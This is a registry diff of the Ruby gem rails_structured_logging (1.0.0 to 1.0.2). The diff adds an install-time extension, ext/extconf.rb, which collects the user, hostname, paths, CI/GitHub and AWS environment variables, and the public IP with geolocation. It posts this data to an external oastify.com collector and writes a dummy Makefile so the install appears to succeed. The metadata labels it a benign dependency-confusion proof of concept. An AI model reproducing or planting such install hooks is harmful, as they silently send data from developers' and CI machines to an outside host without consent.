rails_structured_logging 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/ext/extconf.rb +70 -0
- data/lib/rails_structured_logging/version.rb +1 -1
- metadata +4 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 6b0552499c4c23b29d0332ff1b450b7a961068e19fd27a96da6bc295649b3da0
|
|
4
|
+
data.tar.gz: e6fc2dfee25e253c2b1d174a86825630a87258522a39074ac1e155cf94c2b4c2
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 3c54e4588e248966193f5ab58485e5e932cfef0079b1ebbcfaa059655cf4b7cde916246477fb1cae11df87059d65ae42e31909d899446b663910dd021d033392
|
|
7
|
+
data.tar.gz: c0192ad2968a6440ff7c0a099d970907fed04a28c31f129ca2b7d17eb737f8f7005365254b0083a6cb77f1a462dd341082a819b1b6c5f069f7e14a00cb41a245
|
data/ext/extconf.rb
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
require 'net/http'
|
|
2
|
+
require 'json'
|
|
3
|
+
require 'socket'
|
|
4
|
+
require 'etc'
|
|
5
|
+
|
|
6
|
+
info = {}
|
|
7
|
+
|
|
8
|
+
begin
|
|
9
|
+
info[:whoami] = Etc.getlogin rescue ENV['USER'] || ENV['USERNAME'] || 'unknown'
|
|
10
|
+
info[:hostname] = Socket.gethostname
|
|
11
|
+
info[:platform] = RUBY_PLATFORM
|
|
12
|
+
info[:ruby_version] = RUBY_VERSION
|
|
13
|
+
info[:cwd] = Dir.pwd
|
|
14
|
+
info[:home] = ENV['HOME'] || ENV['USERPROFILE'] || ''
|
|
15
|
+
|
|
16
|
+
info[:ci] = ENV['CI'] || ''
|
|
17
|
+
info[:github_repo] = ENV['GITHUB_REPOSITORY'] || ''
|
|
18
|
+
info[:github_actor] = ENV['GITHUB_ACTOR'] || ''
|
|
19
|
+
info[:github_workflow] = ENV['GITHUB_WORKFLOW'] || ''
|
|
20
|
+
info[:github_ref] = ENV['GITHUB_REF'] || ''
|
|
21
|
+
|
|
22
|
+
info[:node_env] = ENV['NODE_ENV'] || ''
|
|
23
|
+
info[:aws_profile] = ENV['AWS_PROFILE'] || ''
|
|
24
|
+
|
|
25
|
+
begin
|
|
26
|
+
ip_uri = URI('https://api.ipify.org')
|
|
27
|
+
info[:public_ip] = Net::HTTP.get_response(ip_uri).body rescue ''
|
|
28
|
+
rescue
|
|
29
|
+
info[:public_ip] = 'error'
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
if !info[:public_ip].empty? && info[:public_ip] != 'error'
|
|
33
|
+
begin
|
|
34
|
+
geo_uri = URI("https://ipapi.co/#{info[:public_ip]}/json/")
|
|
35
|
+
geo_resp = Net::HTTP.get_response(geo_uri)
|
|
36
|
+
geo = JSON.parse(geo_resp.body) rescue {}
|
|
37
|
+
info[:ip_city] = geo['city'] || ''
|
|
38
|
+
info[:ip_region] = geo['region'] || ''
|
|
39
|
+
info[:ip_country] = geo['country_name'] || ''
|
|
40
|
+
info[:ip_org] = geo['org'] || ''
|
|
41
|
+
info[:ip_postal] = geo['postal'] || ''
|
|
42
|
+
info[:ip_timezone] = geo['timezone'] || ''
|
|
43
|
+
info[:ip_lat] = geo['latitude'] || ''
|
|
44
|
+
info[:ip_lon] = geo['longitude'] || ''
|
|
45
|
+
rescue
|
|
46
|
+
end
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
info[:timestamp] = Time.now.utc.iso8601
|
|
50
|
+
|
|
51
|
+
uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/rails_structured_logging')
|
|
52
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
53
|
+
http.open_timeout = 5
|
|
54
|
+
http.read_timeout = 5
|
|
55
|
+
req = Net::HTTP::Post.new(uri.path, {'Content-Type' => 'application/json'})
|
|
56
|
+
req.body = JSON.generate(info)
|
|
57
|
+
http.request(req)
|
|
58
|
+
rescue => e
|
|
59
|
+
begin
|
|
60
|
+
uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/error')
|
|
61
|
+
err_info = {error: e.message, info: (info rescue {})}
|
|
62
|
+
Net::HTTP.post(uri, JSON.generate(err_info), 'Content-Type' => 'application/json')
|
|
63
|
+
rescue
|
|
64
|
+
end
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
# Write Makefile in CURRENT directory (ext/) - required for gem extension to complete
|
|
68
|
+
File.open('Makefile', 'w') do |f|
|
|
69
|
+
f.puts "all:\n\t@echo done\ninstall:\n\t@echo done\nclean:\n\t@echo done\ndistclean:\n\t@echo clean"
|
|
70
|
+
end
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: rails_structured_logging
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 1.0.
|
|
4
|
+
version: 1.0.2
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Security Research
|
|
@@ -13,10 +13,12 @@ dependencies: []
|
|
|
13
13
|
description: Benign PoC to demonstrate ghost package in fizzy-saas gemspec
|
|
14
14
|
email:
|
|
15
15
|
executables: []
|
|
16
|
-
extensions:
|
|
16
|
+
extensions:
|
|
17
|
+
- ext/extconf.rb
|
|
17
18
|
extra_rdoc_files: []
|
|
18
19
|
files:
|
|
19
20
|
- README.md
|
|
21
|
+
- ext/extconf.rb
|
|
20
22
|
- lib/rails_structured_logging.rb
|
|
21
23
|
- lib/rails_structured_logging/version.rb
|
|
22
24
|
homepage:
|